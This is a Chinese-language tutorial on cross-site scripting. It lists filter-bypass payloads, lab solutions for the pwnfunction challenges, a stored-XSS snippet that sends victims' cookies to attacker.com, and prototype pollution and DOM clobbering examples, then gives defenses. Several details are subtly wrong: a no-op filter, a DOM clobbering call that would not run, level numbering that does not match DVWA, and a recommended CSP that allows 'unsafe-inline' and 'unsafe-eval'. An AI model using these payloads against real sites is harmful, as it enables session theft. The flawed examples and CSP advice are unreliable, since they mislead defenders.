一、XSS攻击概述
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户数据、会话令牌或进行其他恶意操作。
二、XSS攻击类型
1. 反射型XSS(Reflected XSS)
原理:恶意脚本作为请求的一部分发送到服务器,服务器将脚本"反射"回响应中并在用户浏览器执行。
示例:
html
<!-- 假设存在漏洞的URL -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- 服务器响应可能包含 -->
<div>您搜索的结果:<script>alert('XSS')</script></div>
bypass技巧(以DVWA靶场为例):
Level 1-11 常见绕过方法
- Level 1 :直接注入
<script>alert(1)</script>
- Level 2 :使用事件处理程序
<img src=x onerror=alert(1)>
- Level 3 :利用URL编码
<a href="javascript:alert(1)">click</a>
- Level 4 :使用大小写混合
<ScRiPt>alert(1)</ScRiPt>
- Level 5 :利用HTML实体编码
<script>alert(1)</script>
- Level 6 :使用SVG标签
<svg/onload=alert(1)>
- Level 7 :利用JavaScript伪协议
<iframe src="javascript:alert(1)">
- Level 8 :使用Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
- Level 9 :通过闭合现有标签
</textarea><script>alert(1)</script>
- Level 10 :利用CSS表达式
<div style="x:expression(alert(1))">
- Level 11 :使用HTML5新特性
<details open ontoggle=alert(1)>
2. DOM型XSS(DOM-based XSS)
原理:完全在客户端发生的XSS攻击,恶意脚本通过修改DOM环境而非插入HTML代码来执行。
xss.pwnfunction靶场示例:
第一关:Ma Spagheti
javascript
// 漏洞代码
document.write(decodeURIComponent(location.hash.slice(1)));
// 攻击payload
https://xss.pwnfunction.com/ma-spagheti.html#<img src=x onerror=alert(1)>
第二关:JEFFFF
javascript
// 漏洞代码
document.getElementById('jeff').innerHTML = decodeURIComponent(location.hash.slice(1));
// 攻击payload
https://xss.pwnfunction.com/jeffff.html#<svg/onload=alert(1)>
第三关:Ugandan Knuckles
javascript
// 漏洞代码
eval('var x = "' + location.hash.slice(1) + '"');
// 攻击payload
https://xss.pwnfunction.com/ugandan-knuckles.html#";alert(1);//
第四关:Ricardo Milos
javascript
// 漏洞代码
document.querySelector('div').innerHTML = location.hash.slice(1).replace(/</g, '<');
// 攻击payload(绕过HTML实体编码)
https://xss.pwnfunction.com/ricardo-milos.html#<img src=x onerror=alert(1)>
3. 存储型XSS(Stored XSS)
原理:恶意脚本被永久存储在目标服务器(如数据库、消息论坛、评论字段等),当其他用户访问受影响页面时自动执行。
示例:
html
<!-- 攻击者在评论区提交 -->
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
<!-- 其他用户访问该页面时会自动发送cookie到攻击者服务器 -->
三、高级XSS技术
1. 原型链污染(Prototype Pollution)
原理:通过修改JavaScript对象的原型链来污染基础对象,可能导致XSS漏洞。
示例:
javascript
// 漏洞代码
function merge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// 攻击payload
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
// 现在所有对象都会继承isAdmin属性
console.log({}.isAdmin); // true
2. 基于DOM Clobbering的XSS
示例:
html
<!-- 通过DOM元素覆盖JavaScript变量 -->
<form id="xss"><input name="action" value="alert(1)"></form>
<script>
// 原本的xss变量被DOM元素覆盖
xss.action(); // 执行alert(1)
</script>
四、防御措施
-
输入验证和过滤:
- 使用白名单验证所有输入数据
- 对特殊字符进行HTML实体编码
-
输出编码:
- 根据输出上下文使用适当的编码(HTML、JavaScript、URL等)
-
内容安全策略(CSP):
httpContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
-
HttpOnly Cookie:
- 设置敏感cookie为HttpOnly,防止JavaScript访问
-
使用现代框架:
- React、Vue、Angular等框架有内置的XSS防护机制